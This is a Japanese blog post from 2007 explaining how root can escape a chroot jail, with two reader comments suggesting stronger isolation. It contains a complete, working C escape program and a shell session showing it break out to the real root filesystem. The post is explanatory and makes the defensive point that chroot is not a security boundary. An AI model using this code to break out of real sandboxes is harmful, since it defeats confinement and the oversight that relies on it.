このエントリーを含むブックマーク 2007年09月28日

chroot されたディレクトリから脱出してみる

要約すれば、 「chrootなんて簡単に抜けられるからセキュリティ目的で使っても意味ないよ。」 ってことね。そうだったのか。

そうだったのか orz

Note that this call does not change the current working directory, so that `.' can be outside the tree rooted at `/'. In particular, the super-user can escape from a `chroot jail' by doing `mkdir foo; chroot foo; cd ..'.
chroot(2) から引用

chroot するときは、そのディレクトリへ chdir しておくのが常識と 思っていたので気づいていなかった。 つまり、 故意にカレントディレクトリを chroot 外へもっていけば、 chroot されたディレクトリから抜け出せてしまう、ということ。

より正確に言えば、 chroot されたディレクトリの中で、 さらに chroot すれば、 その「親」chroot ディレクトリを抜け出せてしまう。 chroot がネストしないことを利用したテクニック、ということか。 逆に言えば、 chroot(2) 実行時にカレントディレクトリを chroot ディレクトリ下へ 強制的に移動させるか、 あるいは chroot がネストするようにすれば回避可能?

mkdir foo; chroot foo; cd ..

確かに本質はこの短いコードで言い尽くされているが、 こーいうのを見ると実地に試さずにはおれないので、コードを書いてみた。

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <errno.h>
#define BUFMAX 256

int main(int argc, char *argv[]) {
    char buf[BUFMAX+1];
    sprintf(buf, "escape.%d", getpid());
    if (chdir("/") < 0) {
	printf("Can't chdir \"/\" errno=%d\n", errno);
	return 1;
    }
    if (mkdir(buf, 0755) < 0) {
	printf("Can't mkdir \"%s\" errno=%d\n", buf, errno);
	return 1;
    }
    if (chroot(buf) < 0) {
	printf("Can't chroot \"%s\" errno=%d\n", buf, errno);
	return 1;
    }
    if (rmdir(buf) < 0) {
	printf("Can't rmdir \"%s\" errno=%d\n", buf, errno);
	return 1;
    }
    if (!getcwd(buf, BUFMAX)) {
	printf("Can't getcwd errno=%d\n", errno);
	return 1;
    }
    printf("Now escaping from chrooted %s\n", buf);
    do {
	if (chdir("..") < 0) {
	    printf("Can't chdir \"..\" cwd=%s errno=%d\n", buf, errno);
	    return 1;
	}
	if (!getcwd(buf, BUFMAX)) {
	    printf("Can't getcwd errno=%d\n", errno);
	    return 1;
	}
    } while (buf[1] != '\0' && buf[0] == '/');
    if (chroot(".") < 0) {
	printf("Can't chroot \".\" errno=%d\n", errno);
	return 1;
    }
    argv++;
    execv(argv[0], argv);
    printf("Can't exec %s err=%d\n", argv[0], errno);
    return 0;
}

chdir / して、mkdir foo して、chroot foo して (rmdir foo して)、 その後に chdir .. でディレクトリ階層を上がれば抜け出せる。 言葉で書けば簡単だが、実際のコードを書こうとすると、 もう少し考えるべきことがあった。

すなわち、 抜け出した後、プログラムを終了してしまっては元の木阿弥であるので、 /bin/sh などを exec すべきであるし、 「本物」の / 下の /bin/sh をちゃんと実行するには、 「本物」の / へ chroot しなおす必要もある。 ここで注意すべきなのは、 「/」ディレクトリは元の chrooted なディレクトリのままという点だろう。 つまり chroot / してしまうと、 元の chrooted なディレクトリへ chroot してしまう (つまり何も変わらない)。

だから「/」を使わずに、 「chdir ..」で一段ずつディレクトリ階層を上っていって 「本物」の / にたどり着かねばならない。 上記コード中の while ループが「一段ずつ上っていく」処理である。 「本物」の / にたどりついたら chroot . する (くどいようだがここで chroot / してはいけない)。

試しに脱出してみる:

ikeda:/ # chroot /tmp/chroot /bin/sh
# ls -laR /
/:
drwxr-xr-x    3 0        0              29 Sep 28 17:05 .
drwxr-xr-x    3 0        0              29 Sep 28 17:05 ..
drwxr-xr-x    2 0        0              38 Sep 28 16:21 bin
-rwxr-xr-x    1 0        0         2111689 Sep 28 17:02 escape

/bin:
drwxr-xr-x    2 0        0              38 Sep 28 16:21 .
drwxr-xr-x    3 0        0              29 Sep 28 17:05 ..
-rwxr-xr-x    1 0        0         1392832 Sep  1 11:24 busybox
lrwxrwxrwx    1 0        0               7 Sep 28 16:21 ls -> busybox
lrwxrwxrwx    1 0        0               7 Sep 28 16:21 sh -> busybox
# ./escape /bin/sh
Now escaping from chrooted /tmp/chroot
sh-3.00# ls -la /tmp/chroot
total 2068
drwxr-xr-x 3 root root      29 Sep 28 17:05 .
drwxrwxrwt 8 root root    4096 Sep 28 17:05 ..
drwxr-xr-x 2 root root      38 Sep 28 16:21 bin
-rwxr-xr-x 1 root root 2111689 Sep 28 17:02 escape
sh-3.00#


トラックバックURL

この記事へのコメント

1. Posted by tyatsumi    2007年10月20日 07:36
BSD Jail LSMを使うとファイルシステム/プロセス/ネットワークを孤立化できます。
http://kerneltrap.org/node/3823
こちらはchrootと同じ方法では破れません。
ただ、カーネル2.6.8.1用のパッチが出たきり、その後更新されていないのが残念ですが。
2. Posted by Matthew    2007年11月13日 12:13
Nature's LinuxはVFSと呼んでいる仮想環境内からのchroot実行を制御できますよ。

http://tech.n-linux.com/tcn00053

この記事にコメントする

名前:
URL:
  情報を記憶: 評価: 顔   
  emoji panel